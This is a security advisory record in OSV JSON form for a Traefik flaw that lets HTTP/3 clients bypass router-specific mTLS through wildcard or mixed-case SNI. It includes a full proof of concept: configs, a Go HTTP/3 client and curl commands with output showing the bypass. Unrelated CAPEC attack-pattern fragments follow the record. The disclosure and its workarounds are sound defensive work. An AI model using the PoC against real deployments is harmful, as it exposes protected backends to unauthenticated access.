}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.17"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53622"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-289"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:04:29Z",
"nvd_published_at": "2026-06-23T20:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a critical vulnerability in Traefik\u0027s HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration \u2014 which may not require client certificates \u2014 a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.18\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = \u0026http3.Server{\n Addr: config.GetAddress(),\n Port: config.HTTP3.AdvertisedPort,\n Handler: httpsServer.Server.(*http.Server).Handler,\n TLSConfig: \u0026tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router\u0027s TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n e.lock.Lock()\n defer e.lock.Unlock()\n\n e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n return tlsConfig, nil\n }\n\n return r.httpsTLSConfig, nil\n }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP/3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default/fallback TLS configuration does not require client certificates.\n- UDP access to the HTTP/3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n routers:\n protected:\n rule: Host(`*.example.com`)\n service: protected\n tls:\n options: mtls\n\n services:\n protected:\n loadBalancer:\n servers:\n - url: http://protected:80\n\ntls:\n certificates:\n - certFile: /certs/server.crt\n keyFile: /certs/server.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n routers:\n protected:\n rule: Host(`api.example.com`)\n service: protected\n tls:\n options: mtls\n\n services:\n protected:\n loadBalancer:\n servers:\n - url: http://protected:80\n\ntls:\n certificates:\n - certFile: /certs/server.crt\n keyFile: /certs/server.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7.1\n command:\n - --log.level=DEBUG\n - --entrypoints.websecure.address=:8443\n - --entrypoints.websecure.http3\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --providers.file.watch=false\n ports:\n - \"8443:8443/tcp\"\n - \"8443:8443/udp\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n - ./certs:/certs:ro\n depends_on:\n - protected\n\n protected:\n image: traefik/whoami:v1.11\n command:\n - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj \"/CN=api.example.com\" -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall\n```\n\nThe mixed-case HTTP/3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n \"crypto/tls\"\n \"fmt\"\n \"io\"\n \"net/http\"\n \"os\"\n \"time\"\n\n \"github.com/quic-go/quic-go/http3\"\n)\n\nfunc main() {\n serverName := os.Getenv(\"TLS_SERVER_NAME\")\n if serverName == \"\" {\n serverName = \"API.EXAMPLE.COM\"\n }\n\n host := os.Getenv(\"HTTP_HOST\")\n if host == \"\" {\n host = \"API.EXAMPLE.COM\"\n }\n\n tr := \u0026http3.Transport{\n TLSClientConfig: \u0026tls.Config{\n ServerName: serverName,\n InsecureSkipVerify: true,\n },\n }\n defer tr.Close()\n\n client := \u0026http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n req, err := http.NewRequest(http.MethodGet, \"https://127.0.0.1:8443/\", nil)\n if err != nil {\n panic(err)\n }\n req.Host = host\n\n resp, err := client.Do(req)\n if err != nil {\n fmt.Fprintln(os.Stderr, err)\n os.Exit(1)\n }\n defer resp.Body.Close()\n\n fmt.Println(resp.Proto, resp.StatusCode)\n body, _ := io.ReadAll(resp.Body)\n fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP/3 bypass:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nHTTP/3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP/2 control:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP/3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP/3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test ./pkg/server/router/tcp -run \u0027TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$\u0027 -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP/2/TCP access to the protected host requires a client certificate\n- HTTP/3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route\u0027s mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP/3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n\u003c/details\u003e",
"id": "GHSA-9cr8-q42q-g8m7",
"modified": "2026-09-02T21:11:48Z",
"published": "2026-06-16T21:04:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53622"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13214"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:62260"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-53622"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
},
{
"type": "WEB",
"url": "https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts"
}
Mitigation
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.